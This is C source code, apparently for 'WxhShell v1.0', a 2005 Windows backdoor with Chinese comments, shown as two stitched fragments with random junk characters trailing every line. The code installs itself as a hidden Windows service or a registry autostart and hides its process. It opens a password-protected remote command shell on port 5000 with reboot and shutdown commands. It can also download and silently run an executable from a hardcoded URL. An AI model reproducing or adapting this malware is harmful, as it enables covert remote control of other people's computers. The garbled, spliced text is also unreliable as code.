} PROCESS_BASIC_INFORMATION; z6x`O-\
gOLN7K-)
PROCNTQSIP NtQueryInformationProcess; jU0E=;1
Q7 @oAeNd
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "^NsbA+
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4I!g?Moh
Z)'gj
HANDLE hProcess; ne9-
c>>
PROCESS_BASIC_INFORMATION pbi; G;Py%8
4c9a"v
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _(:<l
YaY
if(NULL == hInst ) return 0; 6'45c1e
8~ wP?
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pxb4x#CC
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8KMo !p\i
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t+Au6/Dx?
|*n
B2
if (!NtQueryInformationProcess) return 0; ,Vfjt=6]}
kY^ k*-v
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (d>}Fp
if(!hProcess) return 0; DVz_;m6)
&(X 67
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +sT S1t
/X;/}fk
CloseHandle(hProcess); Ld?'X=eQ
yZQcxg%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M2pFXU?]
if(hProcess==NULL) return 0; Nk;ywC"e;
C2C1 @=w
HMODULE hMod; 9:,ZG4s
char procName[255]; 3*= _vl3
unsigned long cbNeeded; /I &wh
DPr~DO`b
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RmRPR<vGW
ve^gzE$<I
CloseHandle(hProcess); yS1i$[JV
YF)k0bu&;
if(strstr(procName,"services")) return 1; // 以服务启动 d<Dm(
/ }Pj^^6A<
return 0; // 注册表启动 z)Lw\H^/
} lKG' KR.
)fQ1U
// 主模块 *-(8Z>9
int StartWxhshell(LPSTR lpCmdLine) 6{!Cx9V
{ DM,)nh6'
SOCKET wsl; kgh0
BOOL val=TRUE; s;cGf+
int port=0; pGd@%/]AO
struct sockaddr_in door; Zm*q V!
,ygUy]
if(wscfg.ws_autoins) Install(); 89Ir}bCr
:!ablO~
port=atoi(lpCmdLine); Jq?Fi'2F%
L%jIU<?Z7
if(port<=0) port=wscfg.ws_port; hBi/lHu'
Mj`g84
WSADATA data; |]5`T9K@b#
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "x3x$JQZy
D)tL}X$
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "!ks7:}v
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )H(i)$I
door.sin_family = AF_INET; iDWM-Ytx
door.sin_addr.s_addr = inet_addr("127.0.0.1"); CaC \\5wl
door.sin_port = htons(port); $,zW0</P*l
V1haAP[#
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ow{J;vFy\
closesocket(wsl); c9x&:U
return 1; r
@}N6U~*
} !e:_$$j
Qk >9o
if(listen(wsl,2) == INVALID_SOCKET) { E0AbVa.
closesocket(wsl); U"=Lzo.0
return 1; f,x;t-o+R
} z*B?Hw),
Wxhshell(wsl); Y"L |D,ex
WSACleanup(); QBh*x/J
@C%6Wo4l3
return 0; ST2:&xH(
zf>*\pZE
} ;;6$d{
Lt
^*L%x
// 以NT服务方式启动 Gt)ij?~
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &(lQgi+^!
{ F^Bk @
DWORD status = 0; v: veKA
DWORD specificError = 0xfffffff; yf7|/M
Mh{244|o[
serviceStatus.dwServiceType = SERVICE_WIN32; _PcF/Gyk
serviceStatus.dwCurrentState = SERVICE_START_PENDING; W1521:
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ut#pg+#Q
serviceStatus.dwWin32ExitCode = 0; 5mS/,fs@
serviceStatus.dwServiceSpecificExitCode = 0; k* v${1&
serviceStatus.dwCheckPoint = 0; a@J/[$5
serviceStatus.dwWaitHint = 0; sY4q$Fq
CF
3V)3}
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )|_L?q#w!'
if (hServiceStatusHandle==0) return; a?yU;IKJ
r.lHlHl
status = GetLastError(); Wm}gnNwA
if (status!=NO_ERROR) F2Y!aR
{ Np i)R)
serviceStatus.dwCurrentState = SERVICE_STOPPED; =?Ui(?tI
serviceStatus.dwCheckPoint = 0; Kv2S&P|jXM
serviceStatus.dwWaitHint = 0; YUHiD*
serviceStatus.dwWin32ExitCode = status; SU1N*k#-o
serviceStatus.dwServiceSpecificExitCode = specificError; \KzH5 ?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @v#,SF {
return; g/_0WW] }
} )E}@h%d
k>\v]&|T`
serviceStatus.dwCurrentState = SERVICE_RUNNING; qZ4))X
serviceStatus.dwCheckPoint = 0; ?T .=ym
serviceStatus.dwWaitHint = 0; I$MlIz$l v
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yM7Iq)o6u
} /!MVpi'6&
``eam8Az_U
// 处理NT服务事件,比如:启动、停止 jijwHL
VOID WINAPI NTServiceHandler(DWORD fdwControl) YWs?2I
{ :Nv7Wt!
switch(fdwControl) `a!9_%|8
{ Rj4C-X4=
case SERVICE_CONTROL_STOP: vQ]d?Tp
serviceStatus.dwWin32ExitCode = 0; ([
-i5
serviceStatus.dwCurrentState = SERVICE_STOPPED; hO&_VCk
serviceStatus.dwCheckPoint = 0; TEh.?
serviceStatus.dwWaitHint = 0; #4lIna%VX
{ {z\K!=X/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); lZuH:AH
} rwVp}H G
return; reNf?7G+m
case SERVICE_CONTROL_PAUSE: [sjkm+
?
serviceStatus.dwCurrentState = SERVICE_PAUSED; % P Ex
break; EZN!3y| m
case SERVICE_CONTROL_CONTINUE: g8l6bh$}
serviceStatus.dwCurrentState = SERVICE_RUNNING; H%X F~tF:
break; l?
U!rFRq`
case SERVICE_CONTROL_INTERROGATE: cdh0b7tjn
break; r~2hTie
}; UfPHV%Wd
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1]eRragm"
} k|\M(Z*(P
V.z8
]iG
// 标准应用程序主函数 wMj#.Jh
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]ly" K!1,
{ GGhk~H4OP
i#hFpZ6u
// 获取操作系统版本 ~!!\#IX
OsIsNt=GetOsVer(); dJ
m9''T')
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~D>pu%F
KX]!yA
// 从命令行安装 g&y^ r/
if(strpbrk(lpCmdLine,"iI")) Install(); %T\hL\L?
8*@{}O##
// 下载执行文件 huS*1xl
if(wscfg.ws_downexe) { \ ZE[7Ae
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pA8As
WinExec(wscfg.ws_filenam,SW_HIDE); W>i"p~!
} /.<v,CR
Y*PfU+y~
if(!OsIsNt) { g_`a_0v
// 如果时win9x,隐藏进程并且设置为注册表启动 (y 7X1Qc)
HideProc(); F -,chp
StartWxhshell(lpCmdLine); tV`=o$`
} W.?/p~
else E "}@SaB-
if(StartFromService()) : S3+UT
// 以服务方式启动 _1&Ar4:
StartServiceCtrlDispatcher(DispatchTable); 9i}$245lB
else y:}qoT_.
// 普通方式启动 (nt`8 0
StartWxhshell(lpCmdLine); I](a 5i
C[G+SA1&W
return 0; |Rz.Pt6
} DegbjqZ#
/De~K+w7o
.=
?*Wp
cO*g4VL"[
=========================================== N
UX |
QJRnpN/
sHc-xnd
(X,i,qK/
+IWH7 qRtp
#YYJ4^":k
" ~cCMLK em
5C9b*]-#
#include <stdio.h> e5>'H!)
#include <string.h> V7Cnu:0_
#include <windows.h> "H).2{3(x
#include <winsock2.h> fDf[:A,8
#include <winsvc.h> DJL.P6 -W
#include <urlmon.h> $VvgzjrH
&]#L'D!"
#pragma comment (lib, "Ws2_32.lib") $vf gYl4q
#pragma comment (lib, "urlmon.lib") R-S<7Q3E0=
#%\0][Xf
#define MAX_USER 100 // 最大客户端连接数 {9U!0h-2"
#define BUF_SOCK 200 // sock buffer fk5'v
#define KEY_BUFF 255 // 输入 buffer <[cpaZT,
#mw!_]
#define REBOOT 0 // 重启 @m9pb+=v
#define SHUTDOWN 1 // 关机 q\?s<l63
$M 8&&M
#define DEF_PORT 5000 // 监听端口 >ep<W<b
31a,i2Q4
#define REG_LEN 16 // 注册表键长度 \X:e9~
#define SVC_LEN 80 // NT服务名长度 oT):#,s
M}x%'=Pox
// 从dll定义API **Ioy+
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hr
fF1
>A
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GXVx/)H
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J8alqs7
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); + U5Q/g
wW@e#:
// wxhshell配置信息 )N&SrzqTK
struct WSCFG { LJGpa )(
int ws_port; // 监听端口 9kH~=`: ?
char ws_passstr[REG_LEN]; // 口令 u^tQ2&?O!P
int ws_autoins; // 安装标记, 1=yes 0=no Ig`q[o
char ws_regname[REG_LEN]; // 注册表键名 -[L\:'Gp5
char ws_svcname[REG_LEN]; // 服务名 tF`L]1r>
char ws_svcdisp[SVC_LEN]; // 服务显示名 F,wB6Cw
char ws_svcdesc[SVC_LEN]; // 服务描述信息 'F/oR/4,
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h#hr'3bI1
int ws_downexe; // 下载执行标记, 1=yes 0=no qjP~F
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W^tD6H;
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '"
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}; S} m=|3%y
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// default Wxhshell configuration DQQ]grU
struct WSCFG wscfg={DEF_PORT, 6DHK&<=D8
"xuhuanlingzhe", +?{"Q#.>;
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"Wxhshell", S{+t>en
"Wxhshell", x|0C0a\"A
"WxhShell Service", 2`$*HPj+G
"Wrsky Windows CmdShell Service", gT+g@\u[
"Please Input Your Password: ", a|7C6#iz$
1,
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"http://www.wrsky.com/wxhshell.exe", @.eN+o9|
"Wxhshell.exe" XIl<rN@-
}; Jw;~ $
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// 消息定义模块 ! Ld5Y$
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u /F!8#
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8!{*!|Xd
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |IcW7(
char *msg_ws_ext="\n\rExit."; F]
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char *msg_ws_end="\n\rQuit."; '@t$3
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char *msg_ws_boot="\n\rReboot..."; T7,]^
1
char *msg_ws_poff="\n\rShutdown..."; ttsR`R1.k
char *msg_ws_down="\n\rSave to "; oRWje#4O
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char *msg_ws_err="\n\rErr!"; kXwAw]ogN
char *msg_ws_ok="\n\rOK!"; c4tw)O-X
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char ExeFile[MAX_PATH]; 3x+lf4"
int nUser = 0; ZbYC3_7w
HANDLE handles[MAX_USER]; =0g!Q
int OsIsNt; 9p W~Gz
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SERVICE_STATUS serviceStatus; 6<];}M_{
SERVICE_STATUS_HANDLE hServiceStatusHandle; H
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// 函数声明 O+}py{ st
int Install(void); N#T'}>t y
int Uninstall(void); ^jMrM.GY
int DownloadFile(char *sURL, SOCKET wsh); + `|A/w
int Boot(int flag); W@T\i2r$z
void HideProc(void); {cXr!N^K
int GetOsVer(void); &>JP.//spi
int Wxhshell(SOCKET wsl); oP`l)`
void TalkWithClient(void *cs); GTP'js
int CmdShell(SOCKET sock); 6'Q{xJe?
int StartFromService(void); <L-F3Buu
int StartWxhshell(LPSTR lpCmdLine); x6UXd~
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u<ed O+
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WO qDW~
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// 数据结构和表定义 -l= 4{^pK
SERVICE_TABLE_ENTRY DispatchTable[] = w|9 >4
{ "2cOS PpQL
{wscfg.ws_svcname, NTServiceMain}, FH,]'
{NULL, NULL} $tmdE)"&
}; 7iP+!e}$.
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// 自我安装 h9)S&Sk{s
int Install(void) ybBmg'198
{ {18hzhs
char svExeFile[MAX_PATH]; tMxde+$y
HKEY key; ZxF`i>/h
strcpy(svExeFile,ExeFile); ;4rhhh&